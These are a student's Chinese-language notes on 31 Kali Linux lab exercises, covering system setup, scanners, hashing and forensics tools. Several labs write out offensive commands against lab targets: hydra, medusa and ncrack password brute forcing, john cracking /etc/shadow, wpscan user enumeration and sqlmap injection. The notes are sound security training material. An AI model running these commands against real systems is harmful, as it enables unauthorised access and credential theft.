学校实训-笔记
学校寒假放了点作业出来
做个笔记
实验 1 配置Kali
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在网络中部署一台Kali服务器,为…
实验环境
Kali 2016
实验工具
无
实验目的
对Kali进行网络配置,修改主机名和root密码,修改源配置文件并进行系统更新
实验步骤
1. 修改主机名
- 临时修改主机名,重启会还原
- 永久修改主机名,需要重启才能生效
- 修改
/etc/hosts
配置文件
2. 配置Kali的网络
- 修改本机的网卡设置,设置为dhcp获取IP方式,也可以设置成静态IP,需要给网卡配置IP地址
vi /etc/network/interfaces
3. 查看当前用户是否是root,修改root密码
4. 修改Kali的源配置文件,添加国内的源,并进行系统升级
- 添加中科大的源
vi /etc/apt/sources.list deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
- 执行更新指令
等待更新完成apt-get update && apt-get upgrade && apt-get dist-upgrade
实验总结
Kali版本众多,最新版本中会添加一些最新的工具和软件,需要持续进行更新。
实验 2 Web应用程序-Dirb
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用Dirb软件,为…
实验环境
攻击机Kali 2018
靶机Windows 7 192.168.163.
实验工具
Dirb
实验目的
了解并掌握Dirb对网站进行扫描
实验步骤
DIRB是一个Web内容扫描。它看起来对现有(和/或隐藏)的Web对象。它主要的工作原理是发动了对Web服务器的基于字典的攻击和分析的响应。
DIRB带有易于使用的一组预配置的攻击生词,但你可以用你自定义的词表。此外DIRB有时可以作为一个典型的CGI扫描器,但要记住是一个内容扫描仪没有漏洞扫描器。
DIRB主要目的是在专业的Web应用程序的审核帮助。特别是在与安全相关的测试。它没有涵盖的经典网页漏洞扫描器一些漏洞。 DIRB寻找其他通用CGI扫描器无法查找特定的Web对象。它不搜索的漏洞,也没有寻找网页内容,可以vulnerables。
直接在终端启动软件
dirb
扫描Web服务器(http://192.168.163.147:88/)利用系统自带字典文件
(/usr/share/wordlists/dirb/common.txt)
dirb http://192.168.163.147:88/ /usr/share/wordlists/dirb/common.txt
使用自备字典进行扫描
dirb http://192.168.163.147:88 /root/test.txt
实验总结
掌握使用Dirb对Web进行扫描,查看软件的扫描报告文件
实验 3 报告工具-pipal
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用pipal工具,为…
实验环境
Kali 2018
实验工具
Pipal
实验目的
掌握密码分析工具pipal的使用方法
实验步骤
所有这些工具确实是给你的统计数据和信息,以帮助您分析密码。真正的工作是由你解释的结果进行。
查看帮助
pipal –h
分析本地password.txt文件,可以分析密码文件的词频等信息
pipal /root/password.txt
分析并显示前 5 个密码(-t 5),使用给定文件作为输入(/usr/share/wordlists/nmap.lst):
pipal –t 5 /usr/share/wordlists/nmap.lst
实验总结
pipal是一款词频分析工具,可以用来在字典中筛选出出现频率高的密码
实验 4 漏洞分析-unix-privesc-check
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用unix-privesc-check,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
unix-privesc-check
实验目的
了解unix-privesc-check工具的使用
实验步骤
1. 查看帮助
unix-privesc-check -h
standard
:标准”模式:速度优化检查大量的安全设置。detailed
:“详细”模式:与标准模式相同,但也检查打开文件的perms句柄和被调用的文件(例如从shell脚本分析,链接的.so文件)。 这种模式很慢。
2. 使用标准模式扫描本地
unix-privesc-check standard
3. 把报告保存到本地文件
unix-privesc-check > baogao.txt
4. 查看报告
cat baogao.txt
实验总结
unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。
实验5 kali-漏洞扫描-lynis
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用lynis工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
lynis
实验目的
了解漏洞扫描工具lynis的使用
实验步骤
1. 启动lynis并列出支持的参数
lynis
2. 对本地进行安全扫描
lynis audit system
3. 查看扫描日志(需要注意的是,每次审计都会覆盖原日志文件)
日志保存在/var/log/lynis-report.dat
grep –E “^warning|^suggestion” /var/log/lynis-report.dat
4. 检查更新
lynis update info --no-colors
5. 创建Lynis计划任务
如果你想为你的系统创建一个日扫描报告,你可以设置cron:
crontab -e
添加cron任务:
实验总结
观察lynis工具能否扫描出系统存在的漏洞,如果存在该如何进行加固
实验6 kali-漏洞扫描-WPScan
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pipal工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 kali 2018
靶机 windows 7 192.168.163.
实验工具
攻击机:wpscan
靶机:wordpress
实验目的
了解wpscan的使用
实验步骤
1. 简单的攻击
wpscan –u 192.168.163.147/wordpress
2. 列出用户名列表
wpscan –u 192.168.163.147/wordpress –e u vp
3. 通过字典爆破用户密码
wpscan –u 192.168.163.147/wordpress –e u –wordlist /root/password.txt
4. 了解其它参数
wpscan – h
实验总结
思考WPScan的作用场景是否有特定版本号要求
实验 7 密码攻击-cewl
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用cewl工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
windows 7 192.168.163.
实验工具
cewl
实验目的
掌握密码爬取工具cewl的使用
实验步骤
1. 直接在终端启动cewl
cewl –h
2. 爬取最小单词长度为 5
cewl 192.168.163.147:88 –m 5
3. 爬取网站深度为 5 的关键字
cewl – d 5 192.168.163.147:88
4. 收集包含emali地址信息
cewl – e 192.168.163.147:88
5. 统计每个单词出现的次数
cewl 192.168.163.147:88 –c
6. 可以多个参数一起使用
cewl 192
.168.163.147:88 -m 3 -d 3 -e -c -v -w a.txt
7. 查看a.txt字典
cat a.txt
实验总结
使用通过cewl工具爬取的字典文件,使用它去爆破网站的后台
实验 8 取证工具-dumpzilla
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用dumpzilla工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
Dumpzilla
实验目的
了解取证工具Dumpzilla的使用
实验步骤
1. 查看dumpzilla工具帮助
Dumpzilla – h
2. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的历史访问记录
dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –History
3. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的Cookies
dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –-Cookies
4. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)和转储以外的所有影像数据(-All)
dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' --All
实验总结
思考dumpzilla工具除了分析本机的浏览器文件是否还能分析远程主机的配置文件。
实验9 apache服务配置
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器安装apache服务,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
apache 2
实验目的
掌握kali下apache的配置
实验步骤
查看本机安装的apache版本号
apachectl –v
启动apache服务
/etc/init.d/apache2 start
重启apache服务
/etc/init.d/apache2 restart
停止apache服务
/etc/init.d/apache2 stop
下载默认首页并查看网页内容
wget http://127.0.0.1
进入apache默认首页的目录
cd /var/www/html
替换默认首页内容为 123
echo "123" > index.html
重启apache服务
/etc/init.d/apache2 restart
下载默认首页
wget http://127.0.0.1
查看下载首页内容
cat index.html
实验总结
在kali上成功运行个人网页
实验 10 产品安全分析工具
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用glob工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136
实验工具
glob
实验目的
掌握glob的使用
实验步骤
启动kali中cisco的安全工具
cge.pl
选择一个漏洞,并按照所给的格式进行测试,网址后面添加漏洞编号
cge.pl http://192.168.163.136/index.html 3
CAT -h 主机名 - w 字典文件 - a 密码文件 - i
(直接在终端输入CAT直接启动,这里没有cisco设备,无法复现实验)
实验总结
如果有cisco设备,使用glob工具对其进行检测
实验11 pure-ftpd配置
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pure-ftpd工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali
实验工具
pure-ftpd
实验目的
掌握按照和配置pure-ftpd
实验步骤
安装 Pure-FTPd
apt-get install pure-ftpd
修改配置
cd /etc/pure-ftpd/conf
echo no > Bind
echo no > PAMAuthentication
echo no > UnixAuthentication
ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50 pure
创建FTP服务要用到的用户组和用户
groupadd ftpgroup
向创建的组里面添加新用户
useradd -g ftpgroup -d /dev/null -s /bin/false ftpuser
为FTP文件新建一个目录
mkdir -p /home/pubftp
在ftp目录下新建一个测试文件
echo "test file" > /home/pubftp/test.txt
在FTP目录里面添加用户目录
mkdir /home/pubftp/sam
给FTP服务添加一个新的用户和密码
pure-pw useradd sam -u ftpuser -g ftpgroup -d /home/pubftp/sam
更新Pure-FTPd的数据库
pure-pw mkdb
启动FTP服务
service pure-ftpd start
启动FTP后,测试该服务
ftp 127.0.0.1
实验总结
思考这里的pure-ftpd和Linux的FTP以及vsftpd是否一样
实验12 Metasploit-db_import实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用db_import工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
**实验工具
**
Metasploit
Nmap
实验目的
把nmap扫描的数据导入metasploit
实验步骤
- 在kali虚拟机上测试与靶机的连通性
ping 192.168.127.133 -c 4
- 在靶机centos上测试与kali的连通性
ping 192.168.127.134 -c 4
- 在kali上使用nmap进行局域网存活扫描并把结果保存为db.xml
nmap -sP 192.168.127.0/24 -oX db.xml
- 查看刚保存的文件
cat db.xml
- 在kali中启动metasploit并查看数据库中是否有数据,如果有数据使用
hosts -d
进行清空
msfconsole
hosts
hosts -d
- 利用db_import把刚刚nmap扫描的数据导入到数据库中(注意文件路径)
db_import /root/db.xml
- 使用
hosts
查看数据
hosts
- 过滤出其中开启22端口的主机
services -p 22 -c name,proto
- 过滤出开启21端口的主机
services -p 21 -c name,proto
实验总结
掌握msf下db_import导入数据功能的使用
实验13 web扫描-Nikto
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nikto工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
Nikto
实验目的
掌握Nikto的使用
实验步骤
Nikto 是一款Perl语言开发的开源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件。
扫描内容有以下几个方面:
- 软件版本
- 搜索存在安全隐患的文件(如:某些web维护人员备份完后,遗留的压缩包,若被下载下来,则获得网站源码)
- 服务器配置漏洞(组件可能存在默认配置)
- WEB Application层面的安全隐患(XSS,SQL注入等)
- 避免 404 误判
nikto -list-plugins
制定网站目录扫描
nikto –host http://192.168.21.128/index/
指定一个或多个端口进行扫描
nikto –host 192.168.21.128 –port 80,443
还可以进行批量扫描
nikto –host host.txt
把扫描结果导成文件保存在本地
nikto –host 192.168.21.128 –port 80 –output nikto.html
用cat
查看该文件也可以使用火狐打开该文件
cat nikto.html
firefox nikto.html
实验总结
观察Nikto的端口扫描和nmap的扫描结果是不是一样,如果不一样,谁的结果更准确一点
实验 14 哈希工具Hash-Identifier
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hash-Identifier
工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
hash-identifier
实验目的
了解工具的使用
实验步骤
1. 哈希值识别
哈希值是使用HASH算法通过逻辑运算得到的数值。不同的内容使用HASH算法运算后,得到的哈希值不同。当我们拿到一段hash值时该如何去判断它是属于那种算法。
在终端中启动hash-identifier,提示输入hash值。
hash-identifier
2. 识别测试数据
打开root目录下的HASH.txt文件,里面有几组测试数据,后面是hash编码。
- 复制第一组数据到hash-identifier,判断该hash值最大可能的算法是MD5,最小可能性的是下面其它算法。
hash-identifier [first_hash_value]
- 复制第二组数据到hash-identifier,识别结果是MD5(phpBB3)。
hash-identifier [second_hash_value]
- 复制第三组数据到hash-identifier,识别结果是MD5(Unix)。
hash-identifier [third_hash_value]
- 复制第四组数据到hash-identifier,识别结果是MD5(Wordpress)。
hash-identifier [fourth_hash_value]
- 复制第五组数据到hash-identifier,识别结果是SHA-512。
hash-identifier [fifth_hash_value]
- 复制第六组数据到hash-identifier,识别结果最可能的算法是Tiger-192。
hash-identifier [sixth_hash_value]
实验总结
验证Hash-Identifier工具对MD5等常见编码是否能成功识别。
实验 15 离线攻击工具-John工具
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用John工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali
实验工具
john
实验目的
掌握kali下john工具的使用
实验步骤
1. 启动John工具
先启动john软件,在终端输入以下命令。
john
2. 获取本机密码散列
利用john破解密码,首先需要散列,这里我们把本机的密码散列作为密码。
unshadow /etc/passwd /etc/shadow > pasd
3. 使用John破解密码
直接使用本地的散列去进行破解,破解出本机的root密码。
john pasd
实验总结
思考John工具成功爆破的前提是在哪?
实验 16 密码爆破-Medusa
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Medusa工具,
来检测内网中是否存在弱口令服务,为避免在部署时候出现什么问题,小明首先在自己的虚
拟机上搭建一遍环境。
实验环境
攻击机 kali 2018
靶机 centos6.9
实验工具
medusa
实验目的
了解并掌握密码爆破软件medusa的基本用法
实验步骤
1. 启动Medusa
Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。
在终端输入以下命令。
medusa
2. 查看可用模块
medusa -d
3. 查看模块帮助
medusa -M telnet -q
4. 爆破靶机的ssh
需要在本机先新增一个username.txt
和password.txt
。
medusa -h 192.168.163.150 -u username.txt -P password.txt -M ssh
实验总结
使用medusa工具批量爆破内网ip段,检测是否存在弱口令服务。
实验 17 远程爆破工具-Ncrack
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Ncrack工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 kali 2018 192.168.163.154
靶机 windows 7 192.168.163.134
实验工具
Ncrack
实验目的
了解并掌握Ncrack工具的使用方法
实验步骤
1. 查看软件版本号
ncrack –v
``
`
**2. 查看Ncrack帮助**
```bash
ncrack --help
3. 爆破windows主机的3389
需要先添加一个usename.txt
和password.txt
文件。
ncrack -vv -U usename.txt -P password.txt 192.168.163.134:3389 CL=1 -f
根据爆破结果,使用test/111111
使用rdesktop可以正常连接。
实验总结
思考同样的爆破工具Ncrack和Medusa的差异和速度上有什么区别。
实验 18 主机系统识别-p0f
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用主机系统识别
p0f工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali
实验工具
p0f
xprobe2
实验目的
掌握使用工具来进行主机系统识别
实验步骤
1. 启动p0f监听
p0f是一款被动探测工具,通过分析网络数据包来判断操作系统类型。同时p0f在网络分析方面功能强大,可以用它来分析NAT、负载均衡、应用代理等。以下命令为监听网卡eth0
并开启混杂模式。
p0f -i eth0 -p
2. 浏览器访问网页
通过浏览器去访问网页,能通过p0f观察到对方的系统。
实验总结
思考kali上最经典的扫描工具Nmap跟实验中p0f工具在识别结果上谁更准确。
实验 19 主机系统识别-xprobe2
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用xprobe 2 工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali2016
实验工具
xprobe2
实验目的
使用xprobe2进行远程系统识别
实验步骤
xprobe2是一款使用ICMP消息进行操作系统探测的软件,探测结果可以和Nmap互为参照。但是该软件目前公开版本为2005年的版本,对老的操作系统探测结果较为准确。对远程主机探测,可以直接通过xprobe2并制定远程主机ip或者主机名。
xprobe2 [remote_host_ip_or_name]
实验总结
思考xprobe 2 识别主机方式跟nmap和p0f有什么不一样,可以通过抓包去分析。
实验 20 数据取证-Hashdeep
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hashdeep工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
hashdeep
实验目的
了解数据取证工具hashdeep工具的使用
实验步骤
在数据取证中,通常需要验证文件的哈希值,以判断文件是否已知好文件,或者文件是否被修改过。Kali Linux提供专用工具hashdeep。该工具的早期版本名称为md5deep。该工具可以批量计算文件的哈希值,并和哈希值列表进行比对。该工具支持多种哈希算法,可以避免哈希碰撞问题。为了满足不同任务的需要,hashdeep提供多种检查模式,如审计模式、正向模式、反向模式。同时,该工具支持大小写不敏感和UTF编码, 以满足Windows文件系统分析需要。
直接启动软件:
hashdeep –h
直接生成本地文件hash值:
# 打印相对文件名而不是绝对文件名 hashdeep –l ../* # 打印hash值到本地文件 hashdeep –r test.txt > hash.txt
根据已知的hash值文件进行hash校验,如果一样即通过,如果不一样即审核不通过:
hashdeep -r -a hash.txt test.txt
实验总结
了解了hashdeep工具,以后在下载文件时,可以通过hashdeep比对文件的hash是否一致来保障文件的安全性。
实验 21 NC端口通信实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行通信,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
实验工具
NC
实验目的
Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,学习它的基本使用
实验步骤
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.129 -c 4
在靶机centos上使用nc开启服务端口:
nc -l 9999
在kali上使用nmap对靶机进行端口扫描,发现9999端口是开放状态:
nmap -p1-65535 192.168.127.129
在靶机上使用telnet进行测试9999端口是否能访问:
telnet 192.168.127.129
在kali上使用nc语句和靶机通信:
nc 192.168.127.129 9999
在kali上输入语句的同时在靶机上也会进行实时显示:
My name is test
在centos上进行查看发现两者一样的显示。
在靶机使用nc开启udp端口:
nc -ul 9999
开启tcp时可以用telnet进行测试端口是否开启,但开启udp端口时,telnet却不能进行检测,此刻就需要使用到nc的udp端口检测语句:
nc -vuz 192.168.163.127.129 9999
实验总结
掌握kali和centos使用NC进行通信的实验。
实验 22 系统检查-Chkrootkit
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Chkrootkit工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
chkrootkit
实验目的
掌握chkrootkit工具的使用
实验步骤
chkrootkit是用来监测rootkit是否被安装到当前系统中的工具:
chkrootkit
如果发现有异常,会报出“INFECTED”字样。
查看其它命令:
chkrootkit –h
跳过NFS挂载目录进行检测:
chkrootkit -n
查看chkrootkit版本号:
chkrootkit –V
实验总结
尝试升级chkrootkit来检测本机是否存在疑问的文件。
实验 23 信息收集-Dmitry
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Dmitry工具,为避免在部署时候出现什么问题,小明首先在自己的
虚拟机上搭建一遍环境。
实验环境
kali 2018 攻击机
windows 7 靶机 192.168.163.147
实验工具
dmitry
实验目的
掌握信息收集工具dmitry的使用
实验步骤
直接在终端中启动工具:
dmitry -h
对主机进行端口扫描:
dmitry –p 192.168.163.147
将输出保存到%host.txt或由-o文件指定的文件:
dmitry –p 192.168.163.147 –o test
扫描端口同时读取从扫描端口接收的banner:
dmitry – p 192.168.163.147 –b
对主机的域名执行whois查找(需要联网操作):
dmitry – w baidu.com
在主机上检索Netcraft.com信息(需要联网操作):
dmitry – n baidu.com
执行搜索可能的子域(需要联网操作):
dmitry – s baidu.com
执行搜索可能的电子邮件地址(需要联网操作):
dmitry – e baidu.com
实验总结
思考在Dmitry工具中如果探测内网主机是否需要联网。
实验 24 信息收集-Netdiscover
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Netdiscover工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
netdiscover
实验目的
了解netdiscover工具的使用
实验步骤
查看帮助:
netdiscover –h
扫描本地网卡设备:
netdiscover –i eth0
发送每个arp请求的次数,测试具有丢包的网络:
netdiscover –c 192.168.21.1
扫描给定范围的主机:
netdiscover –r 192.168.21.0/24
使用被动模式,只进行嗅探:
netdiscover –p
实验总结
掌握Netdiscover的嗅探模式,在特定地方有奇效。
实验25 NC传输文件实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行文件传输实验,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
实验工具
NC
实验目的
Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,使用nc进行文件传输
实验步骤
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.129 -c 4
在kali里面新建一个ceshi.txt文件并查看:
echo "this is test" > ceshi.txt
在靶机centos上使用nc监听端口9999,接受到的所有数据都写到test文件里:
nc -l 9999 > test.txt
在kali上面使用nc把本地的ceshi文件发送给靶机:
nc 192.168.127.129 9999 < ceshi.txt
在靶机上查看是否有文件生成(如果靶机接受文件不会自动停止,那就使用
ctrl+c
中止文件接受语句):ls
在靶机上查看传输过来的文件看内容是否一致:
cat test.txt
实验总结
掌握kali和centos使用NC传输文件的操作。
实验 26 抓包工具–Netsniff-ng
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
netsniff-ng工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环
境。
实验环境
kali 2018
实验工具
netsniff-ng
实验目的
掌握netsniff-ng工具使用
实验步骤
- 抓取TCP或者UDP协议报文保存到dump.pcap
netsniff-ng --in eth0 --out dump.pcap tcp or udp
- 直接打开会出现乱码,需要结合其他分析工具进行分析数据包
capinfo dump.pcap
- 测试网卡最高传输速率,方法是先用trafgen产生traffic让网卡满负荷,再用netsniff-ng抓包分析
netsniff-ng -i eth0 - o /dev/shm/c1.pcap -s -n 1000000 -b 0
- 分析抓包的数据包
capinfos /dev/shm/c1.pcap
实验总结
对比Netsniff-ng和Wireshark的差异性在那。
实验27 Hash算法之MD5
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
MD5工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
md5sum
实验目的
掌握通过md5sum的使用和对比md5的HASH值
实验步骤
- 计算一个新建文件test.txt的md5值
md5sum test.txt
- 修改文件中内容再重新计算md5值,对比之下发现md5变了
md5sum test.txt
- 通过已知的md5值跟文件的md5值进行对比
md5sum –c md5.txt
实验总结
掌握kali自带的MD5计算小工具的使用
实验28 HASH算法之SHA
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用SHA工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
shasum
实验目的
掌握shasum工具等使用和对比文件HASH值
实验步骤
- 直接输出test.txt的SHA值
shasum test.txt
- 将sha1值输出到sha1.txt中
sha1sum test.txt > sha1.txt
- 通过已知的sha1对文件的完整性进行比对
sha1sum –c sha1.txt
实验总结
利用SHA1来快速比对文件的hash值是否发生变化
实验 29 黑客安防工具-Hydra
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hydra工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
windows 7
实验工具
hydra
实验目的
了解hydra并掌握使用hydra工具
实验步骤
- 在终端输入hydra,可以看到相关使用语法
hydra
参数列表:
- -R 恢复上次停止的破解进度,继续破解
- -S 使用SSL连接
- -s PORT if the service is on a different default port, define it here
- -s 端口号 在这里自定义要破解的端口号(替代默认端口)
- -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
- -l 登录名 或者 - L 字典 使用登录名 或者 从字典中获取登录名单
- -p PASS or -P FILE try password PASS, or load several passwords from FILE
- -p 密码 或者 - P 字典 使用单个密码 或者 从字典中获取密码列表
- -e ns 附加选项,n 是表示空密码,s 尝试使用密码进行破解
- -C FILE colon-separated “login:pass” format, instead of -L/-P options
- -C 文件 使用冒号分割格式 例如 “登录名:密码”来代替-L/-P参数
- -M FILE server list for parallel attacks, one entry per line
- -M 文件 服务器列表(译者:ip列表),一行一条
- -o FILE write found login/password pairs to FILE instead of stdout
- -o 文件 将找到的密码写在文件里面 以此代替输出到屏幕上
- -f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解
- -t TASKS run TASKS number of connects in parallel (default: 16)
- -t 计划任务 同时运行几个任务(默认是
: 16)
- -w TIME defines the max wait time in seconds for responses (default: 30)
- -w 时间 定义超时时间秒数(默认是: 30)
- -vV 详细显示用户名或者密码的破解过程
- 用法
hydra 可选参数+必选参数+攻击地址+攻击类型
举例:使用hydra尝试爆破FTP服务器账号密码
- 先在kali终端中尝试登录FTP服务器,看服务是否正常
ftp <target_ip>
- 查看本地的字典文件
cat /usr/share/wordlists/rockyou.txt
- 加载本地的密码文件来进行爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target_ip>
- 使用爆破的密码进行登录
ftp <target_ip>
其它的一些破解类型
- 使用hydra破解SSH的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
- 破解HTTPS
hydra -m /index.php -l username -P pass.txt IP https
- 破解Teamspeak
hydra -l 用户名 - P 密码字典 - s 端口号 - vV ip teamspeak
- 破解Cisco
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
- 破解SMB
hydra -l administrator -P pass.txt IP smb
- 破解POP3
hydra -l muts -P pass.txt my.pop3.mail pop3
- 破解RDP
hydra IP rdp -l administrator -P pass.txt -V
- 破解HTTP-Proxy
hydra -l admin -P pass.txt http-proxy://10.36.16.18
- 破解Telnet
hydra IP telnet -l 用户 - P 密码字典 - t 32 -s 23 -e ns -f –V
实验总结
掌握使用Hydra来爆破常见的服务
实验 30 黑客安防工具-Masscan
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Masscan工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
- Kali 2016
- Windows 7
实验工具
- Masscan
实验目的
了解掌握masscan工具的使用和语法
实验步骤
Masscan的基本使用
在终端输入以下命令启动Masscan:
masscan
详细参数含义:
-p
指定端口进行扫描--banners
获取banner信息,支持少量的协议--rate
指定发包的速率-c, --conf
读取配置文件进行扫描--echo
将当前的配置重定向到一个配置文件中-e, --adapter
指定用来发包的网卡接口名称--adapter-ip
指定发包的IP地址--adapter-port
指定发包的源端口--adapter-mac
指定发包的源MAC地址--router-mac
指定网关的MAC地址--exclude
IP地址范围黑名单,防止masscan扫描--excludefile
指定IP地址范围黑名单文件--includefile, -iL
读取一个范围列表进行扫描--ping
扫描应该包含ICMP回应请求--append-output
以附加的形式输出到文件--iflist
列出可用的网络接口,然后退出--retries
发送重试的次数,以1秒为间隔--nmap
打印与nmap兼容的相关信息--http-user-agent
设置user-agent字段的值--show [open,close]
告诉要显示的端口状态,默认是显示开放端口--noshow [open,close]
禁用端口状态显示--pcap
将接收到的数据包以libpcap格式存储--regress
运行回归测试,测试扫描器是否正常运行--ttl
指定传出数据包的TTL值,默认为255--wait
指定发送完包之后的等待时间,默认为10秒--offline
没有实际的发包,主要用来测试开销-sL
不执行扫描,主要是生成一个随机地址列表--readscan
读取从-oB生成的二进制文件,可以转化为XML或者JSON格式--connection-timeout
抓取banners时指定保持TCP连接的最大秒数,默认是30秒
示例命令:
masscan –p21,80,81,8080 192.168.163.0/24 --rate=10000
扫描指定21, 80, 81, 8080端口的192.168.163.0网段,以每秒10000个包的速率。
扫描指定IP文件中的地址
IP地址范围有三种有效格式:
单独的IPv4地址
类似”10.0.0.1-10.0.0.233”的范围地址
CIDR地址,类似于”0.0.0.0/0”,多个目标可以用逗号隔开
扫描ip.txt中IP从1-1000端口并获取banner信息,发包速率为10000:
masscan -p1-1000 --rate=10000 --banners -iL ip.txt
实验总结
掌握Masscan扫描工具的使用,对比其它的扫描软件的优势所在。
实验 31 注入工具-Sqlmap
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 Kali 2016
靶机 Windows 7 + mysqltest
实验工具
Sqlmap
实验目的
掌握sqlmap软件用法
实验步骤
使用Sqlmap进行SQL注入攻击
访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25
在终端中启动sqlmap:
sqlmap
使用sqlmap检测URL是否存在注入:
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25"
如果存在注入,使用参数
--tables
列出表名:sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" --tables
列出指定数据库中表名和列:
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --columns
